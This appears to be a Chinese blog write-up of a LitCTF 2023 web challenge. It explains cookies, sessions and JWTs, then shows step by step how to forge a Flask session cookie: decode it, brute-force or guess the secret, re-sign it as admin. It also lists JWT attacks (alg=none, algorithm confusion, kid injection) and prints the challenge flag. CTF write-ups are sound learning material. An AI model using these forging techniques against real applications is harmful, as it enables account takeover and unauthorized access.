TypechoJoeTheme

Eternal的博客

[LitCTF 2023]Flag点击就送!(cookie伪造)

eternal博 主大白
2026-05-15
/
0 评论
/
71 阅读
/
670 个字
/
百度已收录
05/15
本文最后更新于 2026年05月15日,已超过 32天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

前置知识

分清几个概念:

  • Cookie:浏览器里的一个小文本文件,由服务器发给客户端,每次请求会自动带上。它本身只是个存储载体,不负责安全,常被用来存Session ID或JWT。
Set-Cookie: session=abc123; HttpOnly; Path=/

CTF 攻击方式:

Cookie 篡改:明文 cookie 直接改(如 role=guest → role=admin)
Cookie 注入:在输入框注入 cookie 内容(少见)
  • Session:服务端存储的用户状态数据。用户登录后,服务端生成一个唯一的Session ID,返回给浏览器存到Cookie里。后续请求带上这个ID,服务端就知道是谁了。关键:数据在服务端,客户端只有ID。
客户端: sessionid=abc123
服务端: {abc123: {user: "admin", role: "admin"}}

但是,本题是Flask Session(特例!)
Flask 不走传统服务端存储,而是把 整个 session 数据加密签名后塞 cookie 里:

伪造方法:
1. 解码看看内容
flask-unsign --decode --cookie "<cookie值>"
→ {'name': 'test'}
2. 爆破密钥
flask-unsign --unsign --cookie "<cookie值>" --wordlist wordlist.txt
3. 找到密钥后伪造
flask-unsign --sign --cookie "{'role': 'admin'}" --secret "***"
4. 带上伪造 cookie 请求

python脚本:

from flask_unsign import sign, unsign
from itsdangerous import URLSafeTimedSerializer

# 爆出来的密钥
s = URLSafeTimedSerializer('LitCTF', salt='cookie-session')
# 伪造
fake = s.dumps({'name': 'admin'})
  • JWT (JSON Web Token):一种自包含的Token格式,长得像xxxxx.yyyyy.zzzzz,里面直接存了用户信息(比如{“user”: “admin”, “exp”: 1735689600})和签名。服务器无需查数据库,只要验证签名有效、没过期,就信任里面的内容。

和 Flask Session 看起来很像,但不一样!

JWT 伪造方法:
① 弱密钥爆破(同 Flask session)

pip install pyjwt
jwt_tool eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3RifX0 -C -d wordlist.txt

② alg=none 攻击
把 header 的 alg 改成 none,服务端如果没校验签名就过了:

{"alg": "none", "typ": "JWT"}

③ 算法混淆(RS256 → HS256)
服务端用 RSA 公钥验签(RS256),你拿着公钥当 HMAC 密钥签(HS256),如果服务端没校验算法类型就中招。
④ kid 注入
kid(key ID)指向文件路径 → 改成 /dev/null 或可控文件。

  • Token:一个广义的凭证字符串,代表某种权限。通常是服务端生成后发给客户端,客户端在后续请求的Authorization头里带上它。本质:一切"拿着它就能证明身份"的东西。

总结一句话

Cookie 是信封,Session/JWT/Token 是信的内容。
Flask Session 把信加密后放在信封里,你要找钥匙(密钥)才能伪造。
JWT 也是加密的信,但多了个 header 能玩更多花样(alg:none、算法混淆)

本题题解

Step 1 — 访问页面
看到"欢迎参加LitCTF,告诉我你的名字吧",一个输入框。

Step 2 — 提交名字
POST /hello提交name=test,返回"欢迎test师傅"和一个"拿flag"按钮,同时用bp抓包返回了 session cookie

session=eyJuYW1lIjoidGVzdCJ9.agb1VA.2cW8cj2i_iTl-MuP0AZuZLa7RV4

Step 3 — 解码 session
Flask session 是 base64(payload).timestamp.signature 格式:

base64_decode("eyJuYW1lIjoidGVzdCJ9")
 → {"name":"test"}

Step 4 — 尝试拿 flag
直接访问 /flag → "只有管理员才能拿flag耶"

Step 5 — Flask session 伪造
需要把name: test 改成 name: admin,但需要知道 SECRET_KEY 来签名。

用 flask-unsign 爆破密钥:

flask-unsign --unsign --cookie "<session值>" --wordlist wordlists/all.txt

但默认字典没扫出来。于是直接猜 CTF 常见套路——
密钥就是题目本身的名字:LitCTF

Step 6 — 伪造签名

from flask_unsign import sign
signed = sign({'name': 'admin'}, 'LitCTF')
eyJuYW1lIjoiYWRtaW4ifQ.agb1jQ.QddqRi6wxyFskFa5f-fn47wYkH8

Step 7 — 拿 flag

curl -b "session=<伪造的session>" http://.../flag
# → NSSCTF{341b0f3b-0288-47cb-a567-53e2ec41cae8}

总结

考点说明
Flask Session 机制数据存在客户端 cookie,用 SECRET_KEY 签名防篡改
Cookie 伪造拿到密钥就能伪造任意 session 内容
弱密钥猜解CTF 中密钥常设为题目名、人名、secret 等弱值
朗读
赞(0)
版权属于:

Eternal的博客

本文链接:

https://eternal3.top/archives/54/(转载时请注明本文出处及文章链接)

评论 (0)

互动读者

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月

最新回复

  1. Typecho打酱油
    2026-04-28
登录
X
用户名
密码